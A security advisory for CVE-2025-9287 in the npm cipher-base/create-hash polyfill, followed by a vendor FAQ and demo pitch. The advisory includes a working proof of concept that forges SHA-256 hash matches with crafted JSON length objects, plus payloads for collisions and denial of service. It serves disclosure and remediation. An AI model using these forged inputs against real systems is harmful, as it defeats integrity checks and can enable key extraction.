CVE-2025-9287

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package
Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe

This works with:

const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 }
   This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
3. DoS on {length:'1e99'}
4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
5. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2025-9287 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-9287? CVE-2025-9287 is a critical-severity improper input validation vulnerability in cipher-base (npm), affecting versions <= 1.0.4. It is fixed in 1.0.5. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2025-9287? CVE-2025-9287 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of cipher-base are affected by CVE-2025-9287? cipher-base (npm) versions <= 1.0.4 is affected.
4. Is there a fix for CVE-2025-9287? Yes. CVE-2025-9287 is fixed in 1.0.5. Upgrade to this version or later.
5. Is CVE-2025-9287 exploitable, and should I be worried? Whether CVE-2025-9287 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-9287 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-9287? Upgrade cipher-base to 1.0.5 or later.